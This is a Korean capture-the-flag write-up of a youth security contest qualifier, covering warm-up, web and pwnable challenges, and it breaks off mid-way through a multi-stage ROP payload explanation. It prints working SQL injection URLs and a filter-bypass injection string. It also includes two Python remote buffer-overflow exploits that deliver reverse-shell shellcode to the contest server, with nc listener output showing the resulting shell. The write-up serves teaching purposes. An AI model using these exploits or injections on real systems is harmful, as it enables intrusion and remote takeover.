10th 청소년정보보호페스티벌 예선전문제풀이보고서 Name : 권혁 Nick : pwn3r Email : austinkwon2@gmail.com 1
2
WARMING-UP (1) Point : 50 Catergory : Trivial Type. WARMING-UP (1) [50] Subject [by. Rust] Heaven's;Gate Content " 시작은미미하지만그끝은창대하리라 " 안녕하세요 ~ 첫문제는간단하게가볼까요? 소스를보세요! :D >>> print Count(Solver) 76 Hint Summary : view-source 주어진페이지에들어가서소스를확인하자아래사진과같이쿠키를확인하라는문자열이주석처리되어있 다. 쿠키를확인하자 Authkey 라는이름의쿠키가있었고, 쿠키값을인증시도했더니인증에성공했다. AuthKey=Welc0me_t0_Y1SF_GoodD4Y; Flag : Welc0me_t0_Y1SF_GoodD4Y 3
WARMING-UP (2) Point : 50 Catergory : Trivial Type. WARMING-UP (2) [50] Subject [by. UH4CK3R] 원피스 Content Downlod This File :p File: Navi.zip >>> print Count(Solver) 67 Hint Summary : searching gps coordinates 주어진파일의압축을풀자아래와같이 3 개의파일이나왔다. 문제.pdf 파일을열자아래와같이문제가적혀있었다. 항상집에서놀기만하는 백수 이모 (20세) 씨는어느날보물이묻혀있다는전설의동굴이야기를들었고, 할일이없던이모씨는지도를수소문끝에얻어내었다! 지도를보고동굴의위치를찾으시오. 문제에서지도에해당하는지도.jpg 파일을열자 36.9886987 128.3830274 이라는 2 개의좌표가적힌지도가 있었고, 2 개의좌표를구글맵에서검색해서좌표가 " 고수동굴 " 을나타내고있다는것을알았다. 같이주어진 zip 파일의암호로 " 고수동굴 " 을넣어주자 zip 파일의압축을풀수있었고, 추출된파일중 " 문 제 2.pdf" 라는파일을볼수있었다. 해당파일에는색깔이반전된 qr 코드이있었고이를다시반전시켜원본을 qr 코드를얻었다. 4
위 qr 코드를스마트폰으로찍자 Ar3_Y0u_Tr34sur3_Hunt3r!? 라는문자열을얻을수있었고, 이문자열로 인증을시도하자인증에성공했다. Flag : Ar3_Y0u_Tr34sur3_Hunt3r!? 5
WARMING-UP (3) Point : 50 Catergory : Trivial Type. WARMING-UP (3) [50] Subject [by. savni] Shit The Packet Content 키가 187 인나쁜동현이가내보물을훔쳐갔다. 동현이의컴퓨터에 MITM 공격을해서패킷을캡쳐했다. 단서를찾아보물을찾아오자 File: evidence.pcap >>> print Count(Solver) 60 Hint #1. HEYMAN #2. EOF (End of File) Summary : guessing 주어진파일은 pcap 파일이다. Wireshark 로열어보자수많은 http 접속기록이있었는데, 아무리둘러봐도단서를찾을수없었다. 1 번힌트로 HEYMAN 이주어져서패킷들중 HEYMAN 이라는문자열을가진패킷을찾아보자, 특정네이버 블로그에서첨부파일을받아오는패킷을확인할수있었고첨부파일을추출하자아래와같은 jpg 파일을얻 을수있었다. 6
jpg 에적혀있는 " 그곳 " 에대한단서가없어서헤매다가 jpg 파일을헥스에디터로살펴보니아래그림과같이 의심스러운문자열을볼수있었다. 문자열에서 @#%$ 등의필요없는특수문자를없애보자 " blog.naver.com/xlej1234" 라는블로그주소를얻을 수있었고, 해당블로그에들어가보면아래그림과같은볼수있다. jpg 파일과 gif 파일로된 2 개의첨부파일이같이올라가있다. 각각의그림파일엔끊어진문자열들이적혀있어서 2 개의그림파일을옆으로이어붙여제대로된문자열을 얻을수있었다. 위문자열로인증을시도하자인증에성공했다. Flag : I_want_to_have_girlfriend 7
WARMING-UP (4) Point : 50 Catergory : Trivial Type. WARMING-UP (4) [50] Subject [by. OzRagwort] Ghost Content 사이버수사대 1 팀김우현. 그는무언가를숨기고있다. 그가숨기고있는것을알아내라! File: Ghost.jpg >>> print Count(Solver) 54 Hint #1. End of Image #2. 4D 5A 90 00 #3. 숨김파일 Summary : Recovery from jpg file 하나의그림파일이주어졌다. 해당파일을 HxD 로열어보자 PE excutable 파일의매직넘버인 MZ 를발견할수있었다. PE excutable 파일을추출해내고실행시켜보자 "C:\Users\sec\Documents\Ghost\" 디렉토리에몇개의많은그 림파일이생성되었다. 여기서색깔이반전되어있는 QR code 를복구하여스마트폰으로찍자네이버 QR code 랜딩 URL 이나타났고 해당 URL 에접속하자인증키를얻을수있었다. Flag : HADES!^^ 8
WARMING-UP (4) Point : 50 Catergory : Trivial Type. WARMING-UP (5) [50] Subject [by. intenila] Dr.Code Content 아니의사양반.. 그게무슨소리요?? Link : warming-up 5 >>> print Count(Solver) 49 Hint #1. Life is short, you need Python! Summary : Porting 주어진파일은별도로없고링크하나가주어졌다. 해당링크에접속하면아래과같은문구가나타난다. ##### Written by pseudo code ##### result <- 0 dest[] <- 93, 58, 44 FOR Num <- 2 to 4 do Mul <- 1 FOR i <- 1 to dest[num-2] do Mul = Mul * Num ENDFOR result <- result + Mul ENDFOR a <- 192374810383638418313423836 b <- 434232616678614561798939942 c <- 0 c <- a ^ b result <- result + c Display result (Display to hexadecimal, not decimal) ##### Hint 1 ##### Sum <- 0 FOR i <- 1 to 10 do Sum = Sum + i ENDFOR Display "Sum : ", Sum Sum : 55 9
##### Hint 2 ##### 1. Authkey's format is not numeric... 2. ASCII is converted to 0x4153434949. 가장위에주어진의사코드를실제로구현하면인증키를출력해줄것같아보인다. Python 으로같은기능을하는스크립트를작성했다. #!/usr/bin/python res = 0 dest = [93, 58, 44] for num in range(2,5): mul = 1 for i in range(1,dest[num-2]+1): mul = mul * num res = res + mul a= 192374810383638418313423836L b= 434232616678614561798939942L c= 0 c= a^b res = res + c print res 스크립트를실행하자 15532511255571447160264208739 라는엄청나게큰숫자가출력되었다. 위숫자를 Hex 로바꾸어각바이트를문자로변환하자인증키가나타났다. >>> hex(15532511255571447160264208739l)[2:-1].decode("hex") '2012_Olymp1c' Flag : 2012_Olymp1c 10
WEB (1) Point : 100 Catergory : Web Type. WEB (1) [100] Subject [by. nyhee] Bulla Content Login plzzzzzz~~~~~~~~~_~~~~~~~ Link : web100 >>> print Count(Solver) 39 Hint #1. admin 말고관리자 ( 소문자 ) #2. key format is a_b Summary : Bypass cookie based authentication 문제 URL 이주어졌다. 해당 URL 에접속해보면 id 와 name 을입력받는폼이있다. 각각의폼에문자열을 입력하고 Login 버튼을누르면로그인을할수있다. admin 이란 id 로도로그인을시도해봤지만 admin 이란문자열을필터링하기때문에로그인에실패했다. 이로미루어보아 admin 이나로그인하는것이최종목표라고생각해볼수있다. 로그인했을당시의쿠키값이단순히 id 와 name 을 base64 encoding 한값이었다. 11
Id : pwn3r Pw : pwn3r Cookie : id=awq%3d%2achdum3i%3d ; name= bmftzq%3d%3d%2achdum3i%3d awq%3d%2achdum3i%3d = id*pwn3r bmftzq%3d%3d%2achdum3i%3d = name*pwn3r id 와 name 이모두 pwn3r 일때의쿠키값이다. 앞에쓸데없이 id* 이나 name* 이란값들이 base64 encode 되 어들어가있고그뒤론내가전송해준값이 base64 encode 되어들어갔다. 그래서 id와 name을나타내주는값을 "admin" 을 base64 encode한값으로바꿔주자 admin으로로그인이되었지만아무런변화도없었다. 그래서 administrator를 base64 encode한값인 " YWRtaW5pc3RyYXRvcg==" 로쿠키를변조하자 base64 encode한인증키가나타났고이를 2~3번 decode하자원본인증키가나왔다.( 중간에 _ 신경써줘야함 ) Flag : vlrhsgkek_ ElqlWkrHtlbeK 12
WEB (2) Point : 200 Catergory : Web Type. WEB (2) [200] Subject [by. nyhee] NeINyan Content ㅎㅎㅎ검색해봐라요놈들아 Link : web200 >>> print Count(Solver) 21 Hint #1. URL #2. search 입력창 Summary : SQL Injection 주어진 URL 에접속하면아래그림과같은웹페이지를볼수있다. 문제에검색이란단어를힌트로하여검색폼에 SQL Injection 을시도한결과 SQL Injection 취약점이존재하 는것을확인했다. SQL Injection 으로 Database 내부의 table 과 column name 을알아내보았다. 아래가 table name 과 column name 을알아내는데사용한쿼리가적용된 URL 이다. Table name 13
http://210.124.110.102:9999/web200_asrh703ureiqewfp939we9r7/index.php?page= board&b_search=a'%20union%20select%201,(select%20table_name%20from%20inform ation_schema.tables%20where%20table_schema=database()%20limit%200,1),3,4,5, 6,7,8%23 Column name http://210.124.110.102:9999/web200_asrh703ureiqewfp939we9r7/index.php?page= board&b_search=a'%20union%20select%201,(select%20column_name%20from%20infor mation_schema.columns%20where%20table_name='users'%20limit%200,1),3,4,5,6,7,8%23 table 중에 users 라는 table 이의심스러워 column name 을확인해본결과아래와같은 column 들을가진다는 것을확인했다. users - userid - key1 - key2 - key3 - key4 key1, key2, key3, key4 에있는값들을확인해보자 key1, key2, key4 에는낚시용도로넣어둔문자열들이들 어있었고 key3 에실제인증키가있었다. Data http://210.124.110.102:9999/web200_asrh703ureiqewfp939we9r7/index.php?page= board&b_search=a'%20union%20select%201,(select%20concat(userid,'%20 %20',ke y1,'%20 %20',key2,'%20 %20',key3,'%20 %20',key4)%20from%20users%20limit%200,1),3,4,5,6,7,8%23 Flag : 2e67e61455385d778550f4a953365364 14
WEB (3) Point : 300 Catergory : Web Type. WEB (3) [300] Subject [by. Rust] D0nt Wry AbUt P4sswd Content Admin " 안녕하세요용사님. 오늘의뢰드릴일은다름이아니라제사이트에관리자로로그인을하는것 입니다. 제가관리자비밀번호를잊어버려서..." You " 하하하. 걱정마세요 ~ 이정도쯤은아무것도아닙니다! 이차가식기전에돌아오겟소." Admin " 어멋, 멋져! _ " Link : web300 문제에코딩미스가있어수정을했습니다. >>> print Count(Solver) 21 Hint Summary : SQL Injection, Bypass filtering 주어진 URL 에접속하면 Web100 문제처럼로그인할수있는 URL 이있고해당문제페이지의소스도주어졌 다. 이번엔 level 1 권한을가지고있는 admin 으로로그인해야한다는것이문제의최종목표이다. 주어진 php 소스는아래와같다. <? $id = $_POST['id']; $pw = $_POST['pw']; if ($id == '' && $pw =='') echo "Welcome Login Menu!<br>Guest ID = guest, Guest PW = guest<br>for more Permission, You must login to level 1 account. (ex.admin)"; 15
else if ($id == '') echo "ID is not Empty"; else if ($pw == '') echo "PW is not Empty"; else if(eregi("?",$id)) echo "<font color=red><b>an Error Occurred! : Do not Hack</font></b><br ><br>"; exit(1); if(eregi("load 0x % \n \t / # hex char ascii ord from select update union infor drop challdb1 insert id = true false and \0 admin [0-9]",$pw)) echo "<font color=red><b>an Error Occurred! : Do not Hack</font></b><br ><br>"; exit(1); $query = "select * from challdb1 where id = '".$id."' and passwd = md5('".$ pw."')"; $result = @mysql_fetch_array(mysql_query($query)); if ($result[id]!='') echo 'Welcome, '.$result[id].'!<br>'; echo '<b>your Status</b><br>'; echo 'level : '.$result[level].'<br>'; echo 'id : '.$result[id].'<br>'; echo 'passwd : '.$result[passwd].'<br>'; if ($result[level]==1) echo '<font color=green><b>access Granted!</font></b><br>'; echo 'Auth key is?'; else echo 'More Higher level Required.<br>'; echo '<font color=red><b>access Denied. Out<br></font></b>'; else echo 'Login Failed';?> 서버에 magic quote 옵션이꺼져있어쿼터를넣어주어인젝션이가능하다. php소스에선넘어온변수들에서몇가지문자열을필터링한후쿼리를날린다. id부분에서필터링되는단어는가려져있기때문에알수없다. ( 일단 admin은필터링했음 ) 아무튼 level이란 column의값이 1인레코드만반환되면되는것이므로최종적으로 where level=1과같은역할을수행하는쿼리를만들어전송했다. ')or(not(strcmp(level,not(strcmp('a','a'))))+' admin 으로로그인에성공하자인증키가나타났다. Flag : SQL_QU3RY_1S_V3RyV3Ry_H4RD!!X_X 16
PWNABLE (1) Point : 100 Catergory : Pwnable Type. PWNABLES (1) [100] Subject [by. yoyo] MAPS Content 새로운 OS 와 Web Browser 를개발한짱햌커는자신들만이접속할수있는사이트도제작하였다. 이사이트에그들이숨겨둔비밀은? Link : PwN 100 File: maps >>> print Count(Solver) 21 Hint Summary : Bypass string check URL 과 ELF excutable 파일이주어졌다. 주어진 URL 에서 ELF excutable 파일이 cgi 서비스로서돌아가고있었 다. ELF excutable 파일의 main 함수부분을디컴파일해보면아래와같은코드를볼수있다. int cdecl main_8048554() char *v0; // eax@4 char *v1; // eax@5 char *v2; // eax@6 char v4; // [sp+1ah] [bp-66h]@8 char *USER_AGENT; // [sp+6ch] [bp-14h]@1 const char *slash; // [sp+70h] [bp-10h]@2 signed int i; // [sp+74h] [bp-ch]@1 int v8; // [sp+78h] [bp-8h]@2 signed int j; // [sp+7ch] [bp-4h]@7 puts("content-type: text/html\r\n"); USER_AGENT = getenv("http_user_agent"); for ( i = 0; i <= 1; ++i ) slash = strchr(user_agent, '/') + 1; v8 = atoi(slash); v0 = strchr(user_agent, '('); if (!strncmp(v0 + 1, "yoyos", 5u) ) puts("u R Operating yoyos<br />\r"); v1 = strchr(user_agent, '('); if (!strncmp(v1 + 8, "WOW101", 6u) ) puts("u R Playing WOW_LOL<BR />\r"); v2 = strchr(user_agent, '('); if (!strncmp(v2 + 20, "PwningBrowser/3.1.337", 0x15u) ) 17
puts("u R Browsing PwningBrowser<BR />\r"); for ( j = 0; j <= 80; ++j ) *(&v4 + j) = USER_AGENT[j]; if ( v8 == 7 ) *(&v4 + j) = USER_AGENT[j]; if ( *(&v4 + j) == 'F' ) print_key_80488cf(); return googlemap_80486db(); HTTP_USER_AGENT 환경변수의주소를가져와서몇가지문자열체크를거친뒤에조건에모두만족했다 면 key 파일을열어서데이터를읽어와클라이언트에게뿌려준다. strncmp 로비교하는값은다맞춰주면되지만마지막에 v4 + j 가 'F' 인지검사하는부분을맞춰주기위해선 v8 이란변수의값이 7 이어야하며, v8 을 7 로맞춰주기위해선 HTTP_USER_AGENT 환경변수값의 7 번째 글자를 '/' 로해주어야한다. 조건에만족하는아래의문자열을전송해주면인증키를획득할수있다. (yoyos/7wow101 PwningBrowser/3.1.337)FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFF Flag : gksmfqhflaktlsmstmfrlgud 18
PWNABLE (2) Point : 200 Catergory : Pwnable Type. PWNABLES (2) [200] Subject [by. yoyo] Plz G1ve M3 4 LetteR Content Find the Key 210.124.110.102:7777 key 파일위치 : 자신의홈디렉터리 File: p2 >>> print Count(Solver) 8 Hint #1. one-byte Summary : 1 byte overflow to 0xff byte overflow 서버주소와포트, ELF excutable 파일이주어졌다. 주어진 URL 에서 ELF excutable 파일이자체적으로 daemonize 되어돌아가고있었다. ELF excutable 파일은 socket 을이용해자체적으로 daemonize 하는부분이 있었으며접속하는클라이언트에게특정함수를실행시켜주고종료하는역할을했다. ELF excutable 파일에서클라이언트에게호출해주는함수를디컴파일해보면아래와같은코드를볼수있다. ssize_t cdecl sub_8048ba0(int fd) char buf; // [sp+23h] [bp-65h]@1 unsigned int8 v3; // [sp+87h] [bp-1h]@1 v3 = 5; send(fd, "msg1 : ", 7u, 0); recv(fd, &buf, 0x66u, 0); fpurge(); send(fd, "msg2 : ", 7u, 0); return recv(fd, &buf, v3, 0); msg1이라는문자열을클라이언트에게전송해준뒤 recv함수로데이터를전송받는다. 그런데 0x64 byte의스택지역변수에 0x65 byte를전송받기때문에 1 byte overflow가발생한다. 그런데덮을수있는 1 byte를다음 recv호출시 size를지정하는인자로사용되기때문에문제가된다. 1 byte를 0xff로덮어주면스택에있는리턴어드레스를덮을수있을만큼의데이터를전송받을수있다. 그럼이제페이로드를구성해보자. 환경은 FreeBSD 이기때문에왠간한영역엔거의다실행권한이있다. 아래와같은페이로드로리턴어드레스부분을덮어씌워 recv 함수를다시호출해 rwx memory 권한을가진 영역에쉘코드를수신받고 pop ebp ; ret 를수행함으로써수신받은쉘코드로점프해원샷으로해결했다. 19
[recv@plt] [&(pop ebp ; ret)] [fd] [&.bss] [0x200] [0x0] 이를토대로 Exploit 을작성했다. #!/usr/bin/python from socket import * from struct import pack import time p = lambda x : pack("<l", x) TOKEN = "diselogoscqresffpsh" SHELLCODE = "\x31\xc0\x50\x6a\x01\x6a\x02\xb0\x61\x50\xcd\x80\x89\xc2\x68[ipaddr]\x66\x68\x7a\x 69\x66\x68\x01\x02\x89\xe1\x6a\x10\x51\x52\x31\xc0\xb0\x62\x50\xcd\x80\x31\xc9\x51\ x52\x31\xc0\xb0\x5a\x50\xcd\x80\xfe\xc1\x80\xf9\x03\x75\xf0\x31\xc0\x50\x68\x2f\x2f \x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\xb0\x3b\x50\xcd\x80" HOST = "210.124.110.102" PORT = 7777 recv_plt = 0x08048710 send_plt = 0x08048730 pr = 0x08048CE7 fd = 0x00000004 rwx_ptr = 0x08049f10 # pop ebp ; ret s = socket(af_inet, SOCK_STREAM) s.connect((host, PORT)) print s.recv(1024) s.send(token) print s.recv(1024) s.send("a"*0x64 + "\xff") print s.recv(1024) s.send("a"*0x69+ p(recv_plt) + p(pr) + p(fd) + p(rwx_ptr) + p(len(shellcode)) + p(0)) time.sleep(1) s.send(shellcode) time.sleep(1) s.close() * 쉘코드에서 ip 지정하는부분은일부러지움 작성한 Exploit 을실행하면지정해준 ip 와 port 로리버스쉘이붙을것이다. 지정해준서버에서 port 를연뒤 Exploit 을실행해본다. [pwn3r@localhost p2]$./exploit.py Authkey : msg1 : msg2 : root@localhost:~# nc -lvp 31337 listening on [any] 31337... 210.124.110.102: inverse host lookup failed: Unknown server error : Connection 20
timed out connect to [ ] from (UNKNOWN) [210.124.110.102] 65127 id uid=1004(p2) gid=1004(p2) groups=1004(p2) cat key bofguqrhrdmldhtlsrjtdmfghksdudgkqslek 서버의쉘을획득하고정상적으로인증키를획득했다. Flag : bofguqrhrdmldhtlsrjtdmfghksdudgkqslek 21
PWNABLE (3) Point : 300 Catergory : Pwnable Type. PWNABLES (3) [300] Subject [by. yoyo] What R U D0ing N0W? Content plz Find the Key 210.124.110.102:8080 File: p3 >>> print Count(Solver) 7 Hint Summary : Bypass string check 서버주소와포트, ELF excutable 파일이주어졌다. 주어진서버에서 ELF excutable 파일이자체적으로 daemonize 되어돌아가고있었다. ELF excutable 파일은 socket 을이용해자체적으로 daemonize 하는부분이 있었으며접속하는클라이언트에게특정함수를실행시켜주고종료하는역할을했다. ELF excutable 파일에서클라이언트에게호출해주는함수를디컴파일해보면아래와같은코드를볼수있다. ssize_t cdecl real_8048b80(int fd) ssize_t result; // eax@2 char menu; // [sp+1ch] [bp-2fch]@1 char buffer; // [sp+58h] [bp-2c0h]@2 char v4; // [sp+24ch] [bp-cch]@2 size_t n; // [sp+314h] [bp-4h]@1 n = 10; fflush(_stdinp); send(fd, "What R U doing?\n1. Watching Tv\n2. Play the Game\n3. shovel\nnumber : ", 0x44u, 0); recv(fd, &menu, 0xAu, 0); if ( strncmp(&menu, "tv", 2u) ) if ( strncmp(&menu, "game", 4u) ) if ( strncmp(&menu, "shovel", 6u) ) send(fd, "What???\n", 9u, 0); exit(-1); send(fd, "shovel??\nmsg1 : ", 0x11u, 0); recv(fd, &buffer, 0x1F4u, 0); send(fd, "Umm...??\nmsg2 : ", 0xFu, 0); n = count_8048e60(&buffer); result = recv(fd, &v4, n, 0); else 22
send(fd, "Oh, I like game. Do You like Game?\nmsg1 : ", 0x2Au, 0); recv(fd, &buffer, 0x1F4u, 0); send(fd, "msg2 : ", 7u, 0); result = recv(fd, &v4, n, 0); else send(fd, "What Do you like Tv program?\nmsg1 : ", 0x25u, 0); recv(fd, &buffer, 0x1F4u, 0); send(fd, "msg2 : ", 7u, 0); result = recv(fd, &v4, n, 0); return result; 처음에메뉴를입력받은후그에맞는동작을수행한다. 그중에서도글자색을빨간색으로설정한부분에서취약점이발생한다. shovel 이란메뉴를선택하면사용자 로부터데이터를전송받고, 다시한번그사이즈만큼데이터를전송받는다. 그런데문제는첫번째로데 이터를전송받는변수는 0x1F4 byte 의변수에최대 0x1F4 byte 만큼의데이터를입력받을수있는데에비 해 0xCC 만큼의변수에 0x1F4 만큼의데이터를전송해줄수있기때문에스택에저장되어있는리턴어드레 스를조작해줄수있다. 그럼이제페이로드를구성해보자. 환경은 FreeBSD이기때문에왠간한영역엔거의다실행권한이있다. 게다가 2번문제와거의유사하기때문에 Exploit을살짝수정해서해결할수있었다. 아래와같은페이로드로리턴어드레스부분을덮어씌워 recv함수를다시호출해 rwx memory권한을가진영역에쉘코드를수신받고 pop ebp ; ret를수행함으로써수신받은쉘코드로점프해원샷으로해결했다. [recv@plt] [&(pop ebp ; ret)] [fd] [&.bss] [0x200] [0x0] 이를토대로 Exploit 을작성했다. #!/usr/bin/python from socket import * from struct import pack import time p = lambda x : pack("<l", x) TOKEN = "yisfthackyouforyou!" SHELLCODE = "\x31\xc0\x50\x6a\x01\x6a\x02\xb0\x61\x50\xcd\x80\x89\xc2\x68[ipaddr]\x66\x68\x7a\x 69\x66\x68\x01\x02\x89\xe1\x6a\x10\x51\x52\x31\xc0\xb0\x62\x50\xcd\x80\x31\xc9\x51\ x52\x31\xc0\xb0\x5a\x50\xcd\x80\xfe\xc1\x80\xf9\x03\x75\xf0\x31\xc0\x50\x68\x2f\x2f \x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\xb0\x3b\x50\xcd\x80" HOST = "210.124.110.102" PORT = 8080 recv_plt = 0x08048710 pr = 0x08048F27 fd = 0x00000004 rwx_ptr = 0x0804a224 # pop ebp ; ret s = socket(af_inet, SOCK_STREAM) s.connect((host, PORT)) 23
print s.recv(1024) s.send(token) print s.recv(1024) s.send("shovel") print s.recv(1024) s.send("a"*0x1f0 + "\x00") print s.recv(1024) s.send("a"*0xd0+ p(recv_plt) + p(pr) + p(fd) + p(rwx_ptr) + p(len(shellcode)) + p(0)) time.sleep(1) s.send(shellcode) time.sleep(1) s.close() * 쉘코드에서 ip 지정하는부분은일부러지움 작성한 Exploit 을실행하면지정해준 ip 와 port 로리버스쉘이붙을것이다. 지정해준서버에서 port 를연뒤 Exploit 을실행해본다. [pwn3r@localhost p3]$./exploit.py Authkey : What R U doing? 1. Watching Tv 2. Play the Game 3. shovel NUMBER : shovel?? msg1 : Umm...?? msg2 root@localhost:~# nc -lvp 31337 listening on [any] 31337... 210.124.110.102: inverse host lookup failed: Unknown server error : Connection timed out connect to [ ] from (UNKNOWN) [210.124.110.102] 65368 id uid=1005(p3) gid=1005(p3) groups=1005(p3) cat key dhkdldkdldptmdpvmglaemfek 서버의쉘을획득하고정상적으로인증키를획득했다. Flag : dhkdldkdldptmdpvmglaemfek 24
PWNABLE (4) Point : 400 Catergory : Pwnable Type. PWNABLES (4) [400] Subject [by. yoyo] 최신이지롱 Content 말그대로최신ㅇㅇ레알ㅇㅇ 210.124.110.102:9090 File: p4 >>> print Count(Solver) 2 Hint Summary : Simple remote buffer overflow on Ubuntu 12.04 서버주소와포트, ELF excutable 파일이주어졌다. 주어진 URL 에서 ELF excutable 파일이자체적으로 daemonize 되어돌아가고있었다. ELF excutable 파일은 socket 을이용해자체적으로 daemonize 하는부분이 있었으며접속하는클라이언트에게특정함수를실행시켜주고종료하는역할을했다. ELF excutable 파일에서클라이언트에게호출해주는함수를디컴파일해보면아래와같은코드를볼수있다. char * cdecl client_callback_80489b7(int fd) char dest; // [sp+10h] [bp-200h]@1 send(fd, "Welcome YISF!! GOOD LOCk\n", 0x1Au, 0); recv(fd, src, 0x400u, 0); return strcpy(&dest, src); 코드자체는매우간단하며 buffer overflow 취약점도 strcpy함수에서대놓고드러나있다. 하지만문제가되는것은문제서버의 OS가레알최신버전이라는것이다. 확인해본정보론 Ubuntu12.04라고한다. 그래서대회당시엔 ASLR과 NX가모두적용되어있을것이라고생각하고풀이를진행했지만, 대회가끝나고이문제를푼다른분께물어보았더니바이너리에 execstack 옵션이붙어있어대부분의메모리에실행권한이있었다고한다. 아무튼본인이풀이한방법으로풀이를진행하겠다. 이문제는 JFF seanson2 때본인이출제했던 silly100 이라는문제와매우유사하다. 그래서풀이에적어둔 내용을이문제에도그대로적용시켜풀이할것이다. (*silly100 풀이 : http://pwn3r.tistory.com/entry/just-for-fun-season2-2012-silly100) 뒤에서소개할 Payload 에대한이해를위해잠시다른내용으로빠지겠다. 일반적으로리눅스의버젼이점점높아져갈수록 RWX 권한을가진메모리는점점줄어들어갔고, 25
최신버젼리눅스의바이너리에선 RWX 메모리를찾아볼수없게되었다. 라고대부분의사람들은생각한다. 하지만그게정말일까? 대답은당연히 NO, 다구라다. 그렇다면그렇게생각하게된근거는무엇일까? 한번 silly100 문제의문제서버 OS 인 Ubuntu 10.04 에서 -o 옵션으로단순히컴파일된바이너리의 메모리맵을보도록하자. (gdb) she cat /proc/2166/maps 00110000-0012b000 r-xp 00000000 08:01 264465 /lib/ld-2.11.1.so 0012b000-0012c000 r--p 0001a000 08:01 264465 /lib/ld-2.11.1.so 0012c000-0012d000 rw-p 0001b000 08:01 264465 /lib/ld-2.11.1.so 0012d000-0012e000 r-xp 00000000 00:00 0 [vdso] 0012e000-00281000 r-xp 00000000 08:01 395061 /lib/tls/i686/cmov/libc-2.11.1.so 00281000-00282000 ---p 00153000 08:01 395061 /lib/tls/i686/cmov/libc-2.11.1.so 00282000-00284000 r--p 00153000 08:01 395061 /lib/tls/i686/cmov/libc-2.11.1.so 00284000-00285000 rw-p 00155000 08:01 395061 /lib/tls/i686/cmov/libc-2.11.1.so 00285000-00288000 rw-p 00000000 00:00 0 08048000-08049000 r-xp 00000000 08:01 1061675 /home/pwn3r/test 08049000-0804a000 r--p 00000000 08:01 1061675 /home/pwn3r/test 0804a000-0804b000 rw-p 00001000 08:01 1061675 /home/pwn3r/test b7fef000-b7ff0000 rw-p 00000000 00:00 0 b7ffe000-b8000000 rw-p 00000000 00:00 0 bffeb000-c0000000 rw-p 00000000 00:00 0 [stack] 위에나오는것처럼 RWX 메모리는보이지않는다. 메모리맵파일에는표시되어있지않지만, 아래부분이바로 RWX 권한을가진메모리이다. 0012c000-0012d000 rw-p 0001b000 08:01 264465 /lib/ld-2.11.1.so 실제로는저영역에 x권한이주어졌지만, maps파일에업데이트가되지않아표시되지않는것이라고한다. (* 모든리눅스에서이영역에 RWX 권한이있는것은아니다.) 이내용은 passket님에의해발견되어 POC2011에서발표되었다. 내설명이구리다면아래 URL에가서읽어보길바란다. (* 관련포스팅 : http://passket.tistory.com/33) 아무튼다짜고짜이곳이 RWX memory 라고만써놓으면어떻게하란것인가. 한번 gdb 로증명해보자. 우선 gdb 에서프로그램을실행한후, 메모리맵을읽어 RWX memory 의범위를알아낸다. 그리고해당 RWX memory 의범위내에서임의의주소에 NOP 명령을집어넣고 EIP 를 NOP 명령이있는 주소로바꾸어정상적으로 NOP 명령이실행되는지확인해보도록한다. (gdb) set *(0x0012c000) = 0x90909090 (gdb) set $eip = 0x0012c000 (gdb) x/i $eip => 0x12c000: nop (gdb) ni 0x0012c001 in?? () from /lib/ld-linux.so.2 (gdb) ni 0x0012c002 in?? () from /lib/ld-linux.so.2 26
성공적으로실행되는것이확인되었다 :) ( 원래 gdb 에선실행권한이없는영역에서명령을실행하려하면에러를출력하고진행되지않는다.) 이 RWX memory 를이용하면 mprotect 나 mmap 함수등을부르지않고도바로 shellcode 를실행시킬수 있다. 그런데 RWX memory가이미메모리상에존재한다는것은확인되었지만, 이걸공격에바로적용시키기엔문제가있다. RWX memory 영역에해당하는자리는다이나믹링커중일부분이기때문에 ASLR 적용범위에포함이된다. 이메모리주소마저알아낼수없다면여태껏설명한내용들이모두필요없게되겠지만, 다행히도 GOT + 4에서이 RWX memory 범위에포함된주소를가리키고있다. 따라서우리는 GOT+4 저장되어있는주소를 leak 하거나다른페이로드에복사시켜, 최종적으론 RWX memory 에쉘코드를입력받도록하고 RWX memory 로점프해버리면곧바로쉘코드를 실행시켜버릴수있다. 그럼이제 Exploit 작성을위해 payload 를구성해보자. 우선, payload 의최종목표는 "RWX memory" 에쉘코드를입력받도록하고, 그곳으로점프하는 것이다. 마침 recv 함수나 strcpy 함수같은공유라이브러리함수들을사용하기때문에, 데이터입력을받고자할때, 해당함수의 PLT 를이용할수있어편리하다. 안그래도 payload 를넣을수있는공간이 1024 bytes 이기때문에 Exploit 하기편한데 입력받는버퍼가전역변수이기도해서고정주소에원하는 payload 를엄청난사이즈만큼 넣어줄수있게된것이다. 정리하자면, payload 구성할때우리가최대한이용해야할것들은아래와같다. 1) 입력함수 : recv@plt 2) 복사함수 : strcpy@plt 3) 전역변수 ( 고정주소를가짐 ) 4) RWX memory Payload 는크게 3 개의 stage 로나눌것이다. 세번째 stage(stage_2) 는 recv함수를이용해 RWX memory에데이터를입력받도록하는 payload 이고, 두번째 stage(stage_1) 는 send함수를이용해 &GOT+4가가리키고있는 RWX memory 주소를알아내고 recv함수로새로운 payload를수신받아새로운 payload로스택프레임을옮기는 payload이다.( 새로운 payload로 STAGE_2가전송될것임 ) 첫번째 stage(stage_0) 는 payload가 strcpy함수를통해 Stack에복사될때 NULL byte는복사되지못한다는점을극복하기위해전역변수에있는 STAGE_1 payload로스택프레임을옮기는 payload이다. 결국최종 payload 는아래와같다. 27
STAGE_0 [&(pop ebp;ret)] [&STAGE_1-4] [&(leave;ret)] STAGE_1 [send@plt] [&(pop;pop;pop;pop;ret)] [fd] [&GOT+4] [0x4] [0x0] [recv@plt] [&(pop;pop;pop;pop;ret)] [fd] [&freespace] [len(stage_2)] [0x0] [&(pop ebp;ret)] [&freespace-4] [&(leave;ret)] STAGE_2 [recv@plt] [&(pop;ret)] [fd] [&(RWX memory)] [len(shellcode)] [0x0] STAGE 0 payload에서전역변수에있는 STAGE_1 payload로스택프레임을옮겨가면 STAGE_1 payload가실행되면서 &GOT+4가가리키고있는 RWX memory를공격자에게 send함수로전송해주고, recv함수로새로운 payload의입력을기다린다. 이때공격자는 send함수로전송받은 RWX memory를통해 STAGE_2 payload의구성을마치고 recv함수로새로운 payload를기다리고있는서버에게 STAGE_2 payload를전송해준다. 새로운 payload를수신받은서버는 leave;ret을통해새로운 payload로스택프레임을옮겨간다. 스택프레임이이동되어 recv 함수로 RWX memory 에입력을기다릴때, 쉘코드를전송해주면 서버는 RWX memory 에쉘코드를입력받은후 pop ebp;ret 